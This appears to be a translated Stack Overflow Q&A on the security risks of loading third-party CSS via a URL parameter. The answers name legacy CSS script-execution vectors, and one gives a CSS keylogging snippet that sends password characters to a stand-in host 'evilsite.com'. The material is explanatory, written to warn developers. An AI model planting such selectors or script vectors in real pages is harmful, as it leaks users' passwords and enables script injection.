加载外部第三方CSS有危险吗?

时间:2011-06-21 21:14:14

标签: javascript css security

我的目标是允许合作伙伴通过在URL参数中传递指向其样式表的链接,为自己的目标和感觉设置其着陆页的样式。通过JavaScript加载第三方CSS是否存在安全性或浏览器兼容性问题?

5 个答案:

答案 0 :(得分:13)

在CSS文件中。

expressions(code)behavior:url()url(javascript:code)-moz-binding:url()都存在潜在的安全问题。

行为不能跨域,以便消除某些威胁,但一般来说,您确实需要以某种方式对其进行消毒。

如果您允许用户链接到外部服务器上的CSS,则没有完全可靠的验证方式。服务器可以检查服务器上的CSS文件,以确保没有任何恶意,但如果用户更改样式表怎么办?你必须不断检查样式表。此外,服务器可能会向服务器IP地址提供不同的信息,以试图绕过验证方法。

老实说,我建议将CSS存储在您自己的服务器上。简单运行它会抛出一个正则表达式解析器,从上面删除可能的恶意代码。

答案 1 :(得分:3)

只要你以某种方式验证它就应该是好的。

GOLDEN RULE 不信任用户

答案 2 :(得分:2)

如果用户是唯一能够查看自定义CSS的人,那么实际上并没有任何危险。他们可能会破坏他们在您网站上的体验,但不会破坏他人的体验。

但是,如果他们的自定义CSS显示给其他用户,那么他们可能会使用它来按照您的意图完全搞乱您网站的样式。例如,他们只需抓取源中某些重要元素的id,并覆盖它们以隐藏它们。

当然,只要您小心并正确消毒所有用户输入,您就不应该遇到任何重大问题。

答案 3 :(得分:0)

CSS表达式仅适用于IE 6-7,但允许使用内联JS(通常用于计算要设置的值)。

例如:

/* set bgcolor based on time */
div.title {
    background-color: expression( (new Date()).getHours() % 2 ? "#B8D4FF" : "#F08A00" );
}
然而,这可能会被用来做恶意事情,我说它至少值得一些测试。

答案 4 :(得分:0)

如果第三方被黑,并且攻击者将邪恶的CSS替换为良性CSS,则您可能容易受到以下攻击:

  • css渗透攻击*
  • 针对性罢工会更改页面的ui,从而以危险的方式更改其含义。例如,在加药前加1,使它成为致命剂量而不是治疗。或隐藏“结帐”按钮,使您难以在自己的网站上购买商品。
  • 令人反感的内容或随机广告,垃圾邮件
  • 旧版浏览器通过expressions(code)behavior:url()url(javascript:code)-moz-binding:url()运行脚本。这可能已过时,但在极少数情况下可能仍然有用。
  • 尚待开发的任何CSS攻击(如果第三方受到攻击,信任第三方CSS可以使您获得将来所有以及将来的CSS零日开放的机会)

底线

加载第3方CSS有点危险,因为如果第3方受到攻击,则会增加攻击面。如果可能,请在您自己的服务器上存储一个已知的,安全的第三方CSS版本,并将其提供服务(基本上是将其转换为第一方)。

* css渗透攻击-请参阅https://github.com/maxchehab/CSS-Keylogging。例如,此CSS将告诉攻击者用户在密码字段中键入了字符“ a”。

input[type="password"][value$="a"] {
  background-image: url("http://evilsite.com/a");
}

引用:https://jakearchibald.com/2018/third-party-css-is-not-safe/

另请参阅:https://security.stackexchange.com/questions/37832/css-based-attacks